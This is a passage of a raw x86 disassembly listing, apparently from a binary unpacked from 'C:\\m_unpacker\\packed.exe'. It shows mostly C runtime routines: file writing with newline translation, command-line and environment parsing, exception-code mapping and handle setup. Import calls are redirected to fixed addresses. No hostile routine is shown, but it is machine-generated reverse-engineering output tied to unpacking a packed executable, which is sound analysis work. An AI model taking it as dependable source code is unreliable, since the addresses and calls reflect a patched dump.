sub_4230FB+F5j lea eax, [ebp+var_414] loc_423182: ; CODE XREF: sub_4230FB+B9j mov ecx, [ebp+var_4] sub ecx, [ebp+arg_4] cmp ecx, [ebp+arg_8] jnb short loc_4231B6 mov ecx, [ebp+var_4] inc [ebp+var_4] mov cl, [ecx] cmp cl, 0Ah jnz short loc_4231A1 inc [ebp+var_10] mov byte ptr [eax], 0Dh inc eax loc_4231A1: ; CODE XREF: sub_4230FB+9Dj mov [eax], cl inc eax mov ecx, eax lea edx, [ebp+var_414] sub ecx, edx cmp ecx, 400h jl short loc_423182 loc_4231B6: ; CODE XREF: sub_4230FB+90j mov edi, eax lea eax, [ebp+var_414] sub edi, eax lea eax, [ebp+var_C] push 0 push eax lea eax, [ebp+var_414] push edi push eax mov eax, [ebx] push dword ptr [eax+esi] nop call near ptr 2700000h test eax, eax jz short loc_423220 mov eax, [ebp+var_C] add [ebp+var_8], eax cmp eax, edi jl short loc_4231F2 mov eax, [ebp+var_4] sub eax, [ebp+arg_4] cmp eax, [ebp+arg_8] jb short loc_42317C loc_4231F2: ; CODE XREF: sub_4230FB+EAj ; sub_4230FB+12Ej xor edi, edi loc_4231F4: ; CODE XREF: sub_4230FB+150j ; sub_4230FB+15Bj mov eax, [ebp+var_8] cmp eax, edi jnz loc_42328A cmp [ebp+arg_0], edi jz short loc_423263 push 5 pop eax cmp [ebp+arg_0], eax jnz short loc_423258 mov dword_4DBDDC, 9 mov dword_4DBDE0, eax jmp loc_4232A0 ; --------------------------------------------------------------------------- loc_423220: ; CODE XREF: sub_4230FB+E0j nop call near ptr 2680972h mov [ebp+arg_0], eax jmp short loc_4231F2 ; --------------------------------------------------------------------------- loc_42322B: ; CODE XREF: sub_4230FB+69j lea ecx, [ebp+var_C] push edi push ecx push [ebp+arg_8] push [ebp+arg_4] push dword ptr [eax] nop call near ptr 2700000h test eax, eax jz short loc_42324D mov eax, [ebp+var_C] mov [ebp+arg_0], edi mov [ebp+var_8], eax jmp short loc_4231F4 ; --------------------------------------------------------------------------- loc_42324D: ; CODE XREF: sub_4230FB+145j call near ptr 2680972h nop mov [ebp+arg_0], eax jmp short loc_4231F4 ; --------------------------------------------------------------------------- loc_423258: ; CODE XREF: sub_4230FB+10Fj push [ebp+arg_0] call sub_420C7F pop ecx jmp short loc_4232A0 ; --------------------------------------------------------------------------- loc_423263: ; CODE XREF: sub_4230FB+7Bj ; sub_4230FB+107j mov eax, [ebx] test byte ptr [eax+esi+4], 40h jz short loc_423278 mov eax, [ebp+arg_4] cmp byte ptr [eax], 1Ah jz loc_423145 loc_423278: ; CODE XREF: sub_4230FB+16Fj mov dword_4DBDDC, 1Ch mov dword_4DBDE0, edi jmp short loc_4232A0 ; --------------------------------------------------------------------------- loc_42328A: ; CODE XREF: sub_4230FB+FEj sub eax, [ebp+var_10] jmp short loc_4232A3 ; --------------------------------------------------------------------------- loc_42328F: ; CODE XREF: sub_4230FB+15j ; sub_4230FB+37j and dword_4DBDE0, 0 mov dword_4DBDDC, 9 loc_4232A0: ; CODE XREF: sub_4230FB+120j ; sub_4230FB+166j ... or eax, 0FFFFFFFFh loc_4232A3: ; CODE XREF: sub_4230FB+4Cj ; sub_4230FB+192j pop edi pop esi pop ebx leave retn sub_4230FB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4232A8 proc near ; CODE XREF: sub_41DE4A+47p ; sub_41DE4A+74p ... var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_427928 push offset sub_423CC0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 1Ch push ebx push esi push edi mov [ebp+var_18], esp xor edi, edi cmp dword_4DBE78, edi jnz short loc_42331E push edi push edi push 1 pop ebx push ebx push offset dword_427920 mov esi, 100h push esi push edi nop call near ptr 2640000h test eax, eax jz short loc_4232FC mov dword_4DBE78, ebx jmp short loc_42331E ; --------------------------------------------------------------------------- loc_4232FC: ; CODE XREF: sub_4232A8+4Aj push edi push edi push ebx push offset word_4CB88C push esi push edi call near ptr 264100Eh nop test eax, eax jz loc_423436 mov dword_4DBE78, 2 loc_42331E: ; CODE XREF: sub_4232A8+2Ej ; sub_4232A8+52j cmp [ebp+arg_C], edi jle short loc_423333 push [ebp+arg_C] push [ebp+arg_8] call sub_4234CC pop ecx pop ecx mov [ebp+arg_C], eax loc_423333: ; CODE XREF: sub_4232A8+79j mov eax, dword_4DBE78 cmp eax, 2 jnz short loc_42335A push [ebp+arg_14] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] nop call near ptr 264100Eh jmp loc_423438 ; --------------------------------------------------------------------------- loc_42335A: ; CODE XREF: sub_4232A8+93j cmp eax, 1 jnz loc_423436 cmp [ebp+arg_18], edi jnz short loc_423370 mov eax, dword_4DBE94 mov [ebp+arg_18], eax loc_423370: ; CODE XREF: sub_4232A8+BEj push edi push edi push [ebp+arg_C] push [ebp+arg_8] mov eax, [ebp+arg_1C] neg eax sbb eax, eax and eax, 8 inc eax push eax push [ebp+arg_18] call near ptr 26F0000h nop mov ebx, eax mov [ebp+var_1C], ebx cmp ebx, edi jz loc_423436 mov [ebp+var_4], edi lea eax, [ebx+ebx] add eax, 3 and al, 0FCh call sub_41C500 mov [ebp+var_18], esp mov eax, esp mov [ebp+var_24], eax or [ebp+var_4], 0FFFFFFFFh jmp short loc_4233CB ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor edi, edi mov [ebp+var_24], edi or [ebp+var_4], 0FFFFFFFFh mov ebx, [ebp+var_1C] loc_4233CB: ; CODE XREF: sub_4232A8+10Ej cmp [ebp+var_24], edi jz short loc_423436 push ebx push [ebp+var_24] push [ebp+arg_C] push [ebp+arg_8] push 1 push [ebp+arg_18] nop call near ptr 26F0000h test eax, eax jz short loc_423436 push edi push edi push ebx push [ebp+var_24] push [ebp+arg_4] push [ebp+arg_0] nop call near ptr 2640000h mov esi, eax mov [ebp+var_28], esi cmp esi, edi jz short loc_423436 test byte ptr [ebp+arg_4+1], 4 jz short loc_42344A cmp [ebp+arg_14], edi jz loc_4234C5 cmp esi, [ebp+arg_14] jg short loc_423436 push [ebp+arg_14] push [ebp+arg_10] push ebx push [ebp+var_24] push [ebp+arg_4] push [ebp+arg_0] nop call near ptr 2640000h test eax, eax jnz loc_4234C5 loc_423436: ; CODE XREF: sub_4232A8+66j ; sub_4232A8+B5j ... xor eax, eax loc_423438: ; CODE XREF: sub_4232A8+ADj ; sub_4232A8+21Fj lea esp, [ebp-38h] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_42344A: ; CODE XREF: sub_4232A8+160j mov [ebp+var_4], 1 lea eax, [esi+esi] add eax, 3 and al, 0FCh call sub_41C500 mov [ebp+var_18], esp mov ebx, esp mov [ebp+var_20], ebx or [ebp+var_4], 0FFFFFFFFh jmp short loc_42347E ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor edi, edi xor ebx, ebx or [ebp+var_4], 0FFFFFFFFh mov esi, [ebp+var_28] loc_42347E: ; CODE XREF: sub_4232A8+1C2j cmp ebx, edi jz short loc_423436 push esi push ebx push [ebp+var_1C] push [ebp+var_24] push [ebp+arg_4] push [ebp+arg_0] call near ptr 2640000h nop test eax, eax jz short loc_423436 cmp [ebp+arg_14], edi push edi push edi jnz short loc_4234A5 push edi push edi jmp short loc_4234AB ; --------------------------------------------------------------------------- loc_4234A5: ; CODE XREF: sub_4232A8+1F7j push [ebp+arg_14] push [ebp+arg_10] loc_4234AB: ; CODE XREF: sub_4232A8+1FBj push esi push ebx push 220h push [ebp+arg_18] nop call near ptr 2811010h mov esi, eax cmp esi, edi jz loc_423436 loc_4234C5: ; CODE XREF: sub_4232A8+165j ; sub_4232A8+188j mov eax, esi jmp loc_423438 sub_4232A8 endp ; =============== S U B R O U T I N E ======================================= sub_4234CC proc near ; CODE XREF: sub_4232A8+81p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov edx, [esp+arg_4] mov eax, [esp+arg_0] test edx, edx push esi lea ecx, [edx-1] jz short loc_4234E9 loc_4234DC: ; CODE XREF: sub_4234CC+1Bj cmp byte ptr [eax], 0 jz short loc_4234E9 inc eax mov esi, ecx dec ecx test esi, esi jnz short loc_4234DC loc_4234E9: ; CODE XREF: sub_4234CC+Ej ; sub_4234CC+13j cmp byte ptr [eax], 0 pop esi jnz short loc_4234F4 sub eax, [esp+arg_0] retn ; --------------------------------------------------------------------------- loc_4234F4: ; CODE XREF: sub_4234CC+21j mov eax, edx retn sub_4234CC endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ebx push dword ptr [ebp+8] call sub_423638 test eax, eax pop ecx jz loc_42362C mov ebx, [eax+8] test ebx, ebx jz loc_42362C cmp ebx, 5 jnz short loc_423528 and dword ptr [eax+8], 0 push 1 pop eax jmp loc_423635 ; --------------------------------------------------------------------------- loc_423528: ; CODE XREF: ___:0042351Aj cmp ebx, 1 jz loc_423627 mov ecx, dword_4DBE9C mov [ebp+8], ecx mov ecx, [ebp+0Ch] mov dword_4DBE9C, ecx mov ecx, [eax+4] cmp ecx, 8 jnz loc_423617 mov ecx, dword_43D4C0 mov edx, dword_43D4C4 add edx, ecx push esi cmp ecx, edx jge short loc_423577 lea esi, [ecx+ecx*2] sub edx, ecx lea esi, ds:43D450h[esi*4] loc_42356E: ; CODE XREF: ___:00423575j and dword ptr [esi], 0 add esi, 0Ch dec edx jnz short loc_42356E loc_423577: ; CODE XREF: ___:00423560j mov eax, [eax] mov esi, dword_43D4CC cmp eax, 0C000008Eh jnz short loc_423592 mov dword_43D4CC, 83h jmp short loc_423602 ; --------------------------------------------------------------------------- loc_423592: ; CODE XREF: ___:00423584j cmp eax, 0C0000090h jnz short loc_4235A5 mov dword_43D4CC, 81h jmp short loc_423602 ; --------------------------------------------------------------------------- loc_4235A5: ; CODE XREF: ___:00423597j cmp eax, 0C0000091h jnz short loc_4235B8 mov dword_43D4CC, 84h jmp short loc_423602 ; --------------------------------------------------------------------------- loc_4235B8: ; CODE XREF: ___:004235AAj cmp eax, 0C0000093h jnz short loc_4235CB mov dword_43D4CC, 85h jmp short loc_423602 ; --------------------------------------------------------------------------- loc_4235CB: ; CODE XREF: ___:004235BDj cmp eax, 0C000008Dh jnz short loc_4235DE mov dword_43D4CC, 82h jmp short loc_423602 ; --------------------------------------------------------------------------- loc_4235DE: ; CODE XREF: ___:004235D0j cmp eax, 0C000008Fh jnz short loc_4235F1 mov dword_43D4CC, 86h jmp short loc_423602 ; --------------------------------------------------------------------------- loc_4235F1: ; CODE XREF: ___:004235E3j cmp eax, 0C0000092h jnz short loc_423602 mov dword_43D4CC, 8Ah loc_423602: ; CODE XREF: ___:00423590j ; ___:004235A3j ... push dword_43D4CC push 8 call ebx pop ecx mov dword_43D4CC, esi pop ecx pop esi jmp short loc_42361F ; --------------------------------------------------------------------------- loc_423617: ; CODE XREF: ___:00423549j and dword ptr [eax+8], 0 push ecx call ebx pop ecx loc_42361F: ; CODE XREF: ___:00423615j mov eax, [ebp+8] mov dword_4DBE9C, eax loc_423627: ; CODE XREF: ___:0042352Bj or eax, 0FFFFFFFFh jmp short loc_423635 ; --------------------------------------------------------------------------- loc_42362C: ; CODE XREF: ___:00423506j ; ___:00423511j push dword ptr [ebp+0Ch] call near ptr 2630714h nop loc_423635: ; CODE XREF: ___:00423523j ; ___:0042362Aj pop ebx pop ebp retn ; =============== S U B R O U T I N E ======================================= sub_423638 proc near ; CODE XREF: ___:004234FEp arg_0 = dword ptr 4 mov edx, [esp+arg_0] mov ecx, dword_43D4C8 cmp dword_43D448, edx push esi mov eax, offset dword_43D448 jz short loc_423665 lea esi, [ecx+ecx*2] lea esi, ds:43D448h[esi*4] loc_42365A: ; CODE XREF: sub_423638+2Bj add eax, 0Ch cmp eax, esi jnb short loc_423665 cmp [eax], edx jnz short loc_42365A loc_423665: ; CODE XREF: sub_423638+16j ; sub_423638+27j lea ecx, [ecx+ecx*2] pop esi lea ecx, ds:43D448h[ecx*4] cmp eax, ecx jnb short loc_423678 cmp [eax], edx jz short locret_42367A loc_423678: ; CODE XREF: sub_423638+3Aj xor eax, eax locret_42367A: ; CODE XREF: sub_423638+3Ej retn sub_423638 endp ; --------------------------------------------------------------------------- cmp dword_4DD394, 0 jnz short loc_423689 call sub_420B0D loc_423689: ; CODE XREF: ___:00423682j push esi mov esi, dword_4DD38C mov al, [esi] cmp al, 22h jnz short loc_4236BB loc_423696: ; CODE XREF: ___:004236AEj ; ___:004236B1j mov al, [esi+1] inc esi cmp al, 22h jz short loc_4236B3 test al, al jz short loc_4236B3 movzx eax, al push eax call sub_424FE7 test eax, eax pop ecx jz short loc_423696 inc esi jmp short loc_423696 ; --------------------------------------------------------------------------- loc_4236B3: ; CODE XREF: ___:0042369Cj ; ___:004236A0j cmp byte ptr [esi], 22h jnz short loc_4236C5 loc_4236B8: ; CODE XREF: ___:004236CDj inc esi jmp short loc_4236C5 ; --------------------------------------------------------------------------- loc_4236BB: ; CODE XREF: ___:00423694j cmp al, 20h jbe short loc_4236C5 loc_4236BF: ; CODE XREF: ___:004236C3j inc esi cmp byte ptr [esi], 20h ja short loc_4236BF loc_4236C5: ; CODE XREF: ___:004236B6j ; ___:004236B9j ... mov al, [esi] test al, al jz short loc_4236CF cmp al, 20h jbe short loc_4236B8 loc_4236CF: ; CODE XREF: ___:004236C9j mov eax, esi pop esi retn ; --------------------------------------------------------------------------- push ebx xor ebx, ebx cmp dword_4DD394, ebx push esi push edi jnz short loc_4236E5 call sub_420B0D loc_4236E5: ; CODE XREF: ___:004236DEj mov esi, dword_4DBE34 xor edi, edi loc_4236ED: ; CODE XREF: ___:00423703j mov al, [esi] cmp al, bl jz short loc_423705 cmp al, 3Dh jz short loc_4236F8 inc edi loc_4236F8: ; CODE XREF: ___:004236F5j push esi call sub_41B9C0 pop ecx lea esi, [esi+eax+1] jmp short loc_4236ED ; --------------------------------------------------------------------------- loc_423705: ; CODE XREF: ___:004236F1j lea eax, ds:4[edi*4] push eax call sub_41BEB5 mov esi, eax pop ecx cmp esi, ebx mov dword_4DBE04, esi jnz short loc_423727 push 9 call sub_41E2C9 pop ecx loc_423727: ; CODE XREF: ___:0042371Dj mov edi, dword_4DBE34 cmp [edi], bl jz short loc_42376A push ebp loc_423732: ; CODE XREF: ___:00423767j push edi call sub_41B9C0 mov ebp, eax pop ecx inc ebp cmp byte ptr [edi], 3Dh jz short loc_423763 push ebp call sub_41BEB5 cmp eax, ebx pop ecx mov [esi], eax jnz short loc_423756 push 9 call sub_41E2C9 pop ecx loc_423756: ; CODE XREF: ___:0042374Cj push edi push dword ptr [esi] call sub_41C890 pop ecx add esi, 4 pop ecx loc_423763: ; CODE XREF: ___:0042373Fj add edi, ebp cmp [edi], bl jnz short loc_423732 pop ebp loc_42376A: ; CODE XREF: ___:0042372Fj push dword_4DBE34 call sub_41BA91 pop ecx mov dword_4DBE34, ebx mov [esi], ebx pop edi pop esi mov dword_4DD390, 1 pop ebx retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx push ecx push ebx xor ebx, ebx cmp dword_4DD394, ebx push esi push edi jnz short loc_4237A3 call sub_420B0D loc_4237A3: ; CODE XREF: ___:0042379Cj mov esi, offset aCM_unpackerPac ; "C:\\m_unpacker\\packed.exe" push 104h push esi push ebx nop call near ptr 2670000h mov eax, dword_4DD38C mov off_4DBE14, esi mov edi, esi cmp [eax], bl jz short loc_4237C8 mov edi, eax loc_4237C8: ; CODE XREF: ___:004237C4j lea eax, [ebp-8] push eax lea eax, [ebp-4] push eax push ebx push ebx push edi call sub_423825 mov eax, [ebp-8] mov ecx, [ebp-4] lea eax, [eax+ecx*4] push eax call sub_41BEB5 mov esi, eax add esp, 18h cmp esi, ebx jnz short loc_4237F8 push 8 call sub_41E2C9 pop ecx loc_4237F8: ; CODE XREF: ___:004237EEj lea eax, [ebp-8] push eax lea eax, [ebp-4] push eax mov eax, [ebp-4] lea eax, [esi+eax*4] push eax push esi push edi call sub_423825 mov eax, [ebp-4] add esp, 14h dec eax mov dword_4DBDFC, esi pop edi pop esi mov dword_4DBDF8, eax pop ebx leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_423825 proc near ; CODE XREF: ___:004237D3p ; ___:00423809p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp mov ecx, [ebp+arg_10] mov eax, [ebp+arg_C] push ebx push esi and dword ptr [ecx], 0 mov esi, [ebp+arg_8] push edi mov edi, [ebp+arg_4] mov dword ptr [eax], 1 mov eax, [ebp+arg_0] test edi, edi jz short loc_42384F mov [edi], esi add edi, 4 mov [ebp+arg_4], edi loc_42384F: ; CODE XREF: sub_423825+20j cmp byte ptr [eax], 22h jnz short loc_423898 loc_423854: ; CODE XREF: sub_423825+58j ; sub_423825+5Fj mov dl, [eax+1] inc eax cmp dl, 22h jz short loc_423886 test dl, dl jz short loc_423886 movzx edx, dl test byte_4DD261[edx], 4 jz short loc_423879 inc dword ptr [ecx] test esi, esi jz short loc_423879 mov dl, [eax] mov [esi], dl inc esi inc eax loc_423879: ; CODE XREF: sub_423825+46j ; sub_423825+4Cj inc dword ptr [ecx] test esi, esi jz short loc_423854 mov dl, [eax] mov [esi], dl inc esi jmp short loc_423854 ; --------------------------------------------------------------------------- loc_423886: ; CODE XREF: sub_423825+36j ; sub_423825+3Aj inc dword ptr [ecx] test esi, esi jz short loc_423890 and byte ptr [esi], 0 inc esi loc_423890: ; CODE XREF: sub_423825+65j cmp byte ptr [eax], 22h jnz short loc_4238DB inc eax jmp short loc_4238DB ; --------------------------------------------------------------------------- loc_423898: ; CODE XREF: sub_423825+2Dj ; sub_423825+A5j inc dword ptr [ecx] test esi, esi jz short loc_4238A3 mov dl, [eax] mov [esi], dl inc esi loc_4238A3: ; CODE XREF: sub_423825+77j mov dl, [eax] inc eax movzx ebx, dl test byte_4DD261[ebx], 4 jz short loc_4238BE inc dword ptr [ecx] test esi, esi jz short loc_4238BD mov bl, [eax] mov [esi], bl inc esi loc_4238BD: ; CODE XREF: sub_423825+91j inc eax loc_4238BE: ; CODE XREF: sub_423825+8Bj cmp dl, 20h jz short loc_4238CC test dl, dl jz short loc_4238D0 cmp dl, 9 jnz short loc_423898 loc_4238CC: ; CODE XREF: sub_423825+9Cj test dl, dl jnz short loc_4238D3 loc_4238D0: ; CODE XREF: sub_423825+A0j dec eax jmp short loc_4238DB ; --------------------------------------------------------------------------- loc_4238D3: ; CODE XREF: sub_423825+A9j test esi, esi jz short loc_4238DB and byte ptr [esi-1], 0 loc_4238DB: ; CODE XREF: sub_423825+6Ej ; sub_423825+71j ... and [ebp+arg_10], 0 loc_4238DF: ; CODE XREF: sub_423825+19Ej cmp byte ptr [eax], 0 jz loc_4239C8 loc_4238E8: ; CODE XREF: sub_423825+D0j mov dl, [eax] cmp dl, 20h jz short loc_4238F4 cmp dl, 9 jnz short loc_4238F7 loc_4238F4: ; CODE XREF: sub_423825+C8j inc eax jmp short loc_4238E8 ; --------------------------------------------------------------------------- loc_4238F7: ; CODE XREF: sub_423825+CDj cmp byte ptr [eax], 0 jz loc_4239C8 test edi, edi jz short loc_42390C mov [edi], esi add edi, 4 mov [ebp+arg_4], edi loc_42390C: ; CODE XREF: sub_423825+DDj mov edx, [ebp+arg_C] inc dword ptr [edx] loc_423911: ; CODE XREF: sub_423825+18Fj mov [ebp+arg_0], 1 xor ebx, ebx loc_42391A: ; CODE XREF: sub_423825+FCj cmp byte ptr [eax], 5Ch jnz short loc_423923 inc eax inc ebx jmp short loc_42391A ; --------------------------------------------------------------------------- loc_423923: ; CODE XREF: sub_423825+F8j cmp byte ptr [eax], 22h jnz short loc_423954 test bl, 1 jnz short loc_423952 xor edi, edi cmp [ebp+arg_10], edi jz short loc_423941 cmp byte ptr [eax+1], 22h lea edx, [eax+1] jnz short loc_423941 mov eax, edx jmp short loc_423944 ; --------------------------------------------------------------------------- loc_423941: ; CODE XREF: sub_423825+10Dj ; sub_423825+116j mov [ebp+arg_0], edi loc_423944: ; CODE XREF: sub_423825+11Aj mov edi, [ebp+arg_4] xor edx, edx cmp [ebp+arg_10], edx setz dl mov [ebp+arg_10], edx loc_423952: ; CODE XREF: sub_423825+106j shr ebx, 1 loc_423954: ; CODE XREF: sub_423825+101j mov edx, ebx dec ebx test edx, edx jz short loc_423969 inc ebx loc_42395C: ; CODE XREF: sub_423825+142j test esi, esi jz short loc_423964 mov byte ptr [esi], 5Ch inc esi loc_423964: ; CODE XREF: sub_423825+139j inc dword ptr [ecx] dec ebx jnz short loc_42395C loc_423969: ; CODE XREF: sub_423825+134j mov dl, [eax] test dl, dl jz short loc_4239B9 cmp [ebp+arg_10], 0 jnz short loc_42397F cmp dl, 20h jz short loc_4239B9 cmp dl, 9 jz short loc_4239B9 loc_42397F: ; CODE XREF: sub_423825+14Ej cmp [ebp+arg_0], 0 jz short loc_4239B3 test esi, esi jz short loc_4239A2 movzx ebx, dl test byte_4DD261[ebx], 4 jz short loc_42399B mov [esi], dl inc esi inc eax inc dword ptr [ecx] loc_42399B: ; CODE XREF: sub_423825+16Ej mov dl, [eax] mov [esi], dl inc esi jmp short loc_4239B1 ; --------------------------------------------------------------------------- loc_4239A2: ; CODE XREF: sub_423825+162j movzx edx, dl test byte_4DD261[edx], 4 jz short loc_4239B1 inc eax inc dword ptr [ecx] loc_4239B1: ; CODE XREF: sub_423825+17Bj ; sub_423825+187j inc dword ptr [ecx] loc_4239B3: ; CODE XREF: sub_423825+15Ej inc eax jmp loc_423911 ; --------------------------------------------------------------------------- loc_4239B9: ; CODE XREF: sub_423825+148j ; sub_423825+153j ... test esi, esi jz short loc_4239C1 and byte ptr [esi], 0 inc esi loc_4239C1: ; CODE XREF: sub_423825+196j inc dword ptr [ecx] jmp loc_4238DF ; --------------------------------------------------------------------------- loc_4239C8: ; CODE XREF: sub_423825+BDj ; sub_423825+D5j test edi, edi jz short loc_4239CF and dword ptr [edi], 0 loc_4239CF: ; CODE XREF: sub_423825+1A5j mov eax, [ebp+arg_C] pop edi pop esi pop ebx inc dword ptr [eax] pop ebp retn sub_423825 endp ; --------------------------------------------------------------------------- push ecx push ecx mov eax, dword_4DBFA4 push ebx push ebp mov ebp, dword_427030 push esi push edi xor ebx, ebx xor esi, esi xor edi, edi cmp eax, ebx jnz short loc_423A27 call ebp mov esi, eax cmp esi, ebx jz short loc_423A08 mov dword_4DBFA4, 1 jmp short loc_423A30 ; --------------------------------------------------------------------------- loc_423A08: ; CODE XREF: ___:004239FAj nop call near ptr 2630290h mov edi, eax cmp edi, ebx jz loc_423B02 mov dword_4DBFA4, 2 jmp loc_423AB6 ; --------------------------------------------------------------------------- loc_423A27: ; CODE XREF: ___:004239F2j cmp eax, 1 jnz loc_423AB1 loc_423A30: ; CODE XREF: ___:00423A06j cmp esi, ebx jnz short loc_423A40 call ebp mov esi, eax cmp esi, ebx jz loc_423B02 loc_423A40: ; CODE XREF: ___:00423A32j cmp [esi], bx mov eax, esi jz short loc_423A55 loc_423A47: ; CODE XREF: ___:00423A4Cj ; ___:00423A53j inc eax inc eax cmp [eax], bx jnz short loc_423A47 inc eax inc eax cmp [eax], bx jnz short loc_423A47 loc_423A55: ; CODE XREF: ___:00423A45j sub eax, esi mov edi, dword_427188 sar eax, 1 push ebx push ebx inc eax push ebx push ebx push eax push esi push ebx push ebx mov [esp+34h], eax call edi mov ebp, eax cmp ebp, ebx jz short loc_423AA6 push ebp call sub_41BEB5 cmp eax, ebx pop ecx mov [esp+10h], eax jz short loc_423AA6 push ebx push ebx push ebp push eax push dword ptr [esp+24h] push esi push ebx push ebx call edi test eax, eax jnz short loc_423AA2 push dword ptr [esp+10h] call sub_41BA91 pop ecx mov [esp+10h], ebx loc_423AA2: ; CODE XREF: ___:00423A92j mov ebx, [esp+10h] loc_423AA6: ; CODE XREF: ___:00423A72j ; ___:00423A81j push esi nop call near ptr 263056Ch mov eax, ebx jmp short loc_423B04 ; --------------------------------------------------------------------------- loc_423AB1: ; CODE XREF: ___:00423A2Aj cmp eax, 2 jnz short loc_423B02 loc_423AB6: ; CODE XREF: ___:00423A22j cmp edi, ebx jnz short loc_423AC6 nop call near ptr 2630290h mov edi, eax cmp edi, ebx jz short loc_423B02 loc_423AC6: ; CODE XREF: ___:00423AB8j cmp [edi], bl mov eax, edi jz short loc_423AD6 loc_423ACC: ; CODE XREF: ___:00423ACFj ; ___:00423AD4j inc eax cmp [eax], bl jnz short loc_423ACC inc eax cmp [eax], bl jnz short loc_423ACC loc_423AD6: ; CODE XREF: ___:00423ACAj sub eax, edi inc eax mov ebp, eax push ebp call sub_41BEB5 mov esi, eax pop ecx cmp esi, ebx jnz short loc_423AEC xor esi, esi jmp short loc_423AF7 ; --------------------------------------------------------------------------- loc_423AEC: ; CODE XREF: ___:00423AE6j push ebp push edi push esi call sub_41CD20 add esp, 0Ch loc_423AF7: ; CODE XREF: ___:00423AEAj push edi call near ptr 26305CEh nop mov eax, esi jmp short loc_423B04 ; --------------------------------------------------------------------------- loc_423B02: ; CODE XREF: ___:00423A12j ; ___:00423A3Aj ... xor eax, eax loc_423B04: ; CODE XREF: ___:00423AAFj ; ___:00423B00j pop edi pop esi pop ebp pop ebx pop ecx pop ecx retn ; --------------------------------------------------------------------------- sub esp, 44h push ebx push ebp push esi push edi push 100h call sub_41BEB5 mov esi, eax pop ecx test esi, esi jnz short loc_423B2B push 1Bh call sub_41E2C9 pop ecx loc_423B2B: ; CODE XREF: ___:00423B21j mov dword_4DD040, esi mov dword_4DD140, 20h lea eax, [esi+100h] loc_423B41: ; CODE XREF: ___:00423B5Dj cmp esi, eax jnb short loc_423B5F and byte ptr [esi+4], 0 or dword ptr [esi], 0FFFFFFFFh mov byte ptr [esi+5], 0Ah mov eax, dword_4DD040 add esi, 8 add eax, 100h jmp short loc_423B41 ; --------------------------------------------------------------------------- loc_423B5F: ; CODE XREF: ___:00423B43j lea eax, [esp+10h] push eax nop call near ptr 2850000h cmp word ptr [esp+42h], 0 jz loc_423C3B mov eax, [esp+44h] test eax, eax jz loc_423C3B mov esi, [eax] lea ebp, [eax+4] mov eax, 800h cmp esi, eax lea ebx, [esi+ebp] jl short loc_423B95 mov esi, eax loc_423B95: ; CODE XREF: ___:00423B91j cmp dword_4DD140, esi jge short loc_423BEF mov edi, offset dword_4DD044 loc_423BA2: ; CODE XREF: ___:00423BE5j push 100h call sub_41BEB5 test eax, eax pop ecx jz short loc_423BE9 add dword_4DD140, 20h mov [edi], eax lea ecx, [eax+100h] loc_423BC0: ; CODE XREF: ___:00423BDAj cmp eax, ecx jnb short loc_423BDC and byte ptr [eax+4], 0 or dword ptr [eax], 0FFFFFFFFh mov byte ptr [eax+5], 0Ah mov ecx, [edi] add eax, 8 add ecx, 100h jmp short loc_423BC0 ; --------------------------------------------------------------------------- loc_423BDC: ; CODE XREF: ___:00423BC2j add edi, 4 cmp dword_4DD140, esi jl short loc_423BA2 jmp short loc_423BEF ; --------------------------------------------------------------------------- loc_423BE9: ; CODE XREF: ___:00423BAFj mov esi, dword_4DD140 loc_423BEF: ; CODE XREF: ___:00423B9Bj ; ___:00423BE7j xor edi, edi test esi, esi jle short loc_423C3B loc_423BF5: ; CODE XREF: ___:00423C39j mov eax, [ebx] cmp eax, 0FFFFFFFFh jz short loc_423C32 mov cl, [ebp+0] test cl, 1 jz short loc_423C32 test cl, 8 jnz short loc_423C14 push eax nop call near ptr 26206E4h test eax, eax jz short loc_423C32 loc_423C14: ; CODE XREF: ___:00423C07j mov eax, edi mov ecx, edi sar eax, 5 and ecx, 1Fh mov eax, dword_4DD040[eax*4] lea eax, [eax+ecx*8] mov ecx, [ebx] mov [eax], ecx mov cl, [ebp+0] mov [eax+4], cl loc_423C32: ; CODE XREF: ___:00423BFAj ; ___:00423C02j ... inc edi inc ebp add ebx, 4 cmp edi, esi jl short loc_423BF5 loc_423C3B: ; CODE XREF: ___:00423B70j ; ___:00423B7Cj ... xor ebx, ebx loc_423C3D: ; CODE XREF: ___:00423CA0j mov eax, dword_4DD040 cmp dword ptr [eax+ebx*8], 0FFFFFFFFh lea esi, [eax+ebx*8] jnz short loc_423C98 test ebx, ebx mov byte ptr [esi+4], 81h jnz short loc_423C58 push 0FFFFFFF6h pop eax jmp short loc_423C62 ; --------------------------------------------------------------------------- loc_423C58: ; CODE XREF: ___:00423C51j mov eax, ebx dec eax neg eax sbb eax, eax add eax, 0FFFFFFF5h loc_423C62: ; CODE XREF: ___:00423C56j push eax nop call near ptr 2630000h mov edi, eax cmp edi, 0FFFFFFFFh jz short loc_423C87 push edi nop call near ptr 26206E4h test eax, eax jz short loc_423C87 and eax, 0FFh mov [esi], edi cmp eax, 2 jnz short loc_423C8D loc_423C87: ; CODE XREF: ___:00423C6Ej ; ___:00423C79j or byte ptr [esi+4], 40h jmp short loc_423C9C ; --------------------------------------------------------------------------- loc_423C8D: ; CODE XREF: ___:00423C85j cmp eax, 3 jnz short loc_423C9C or byte ptr [esi+4], 8 jmp short loc_423C9C ; 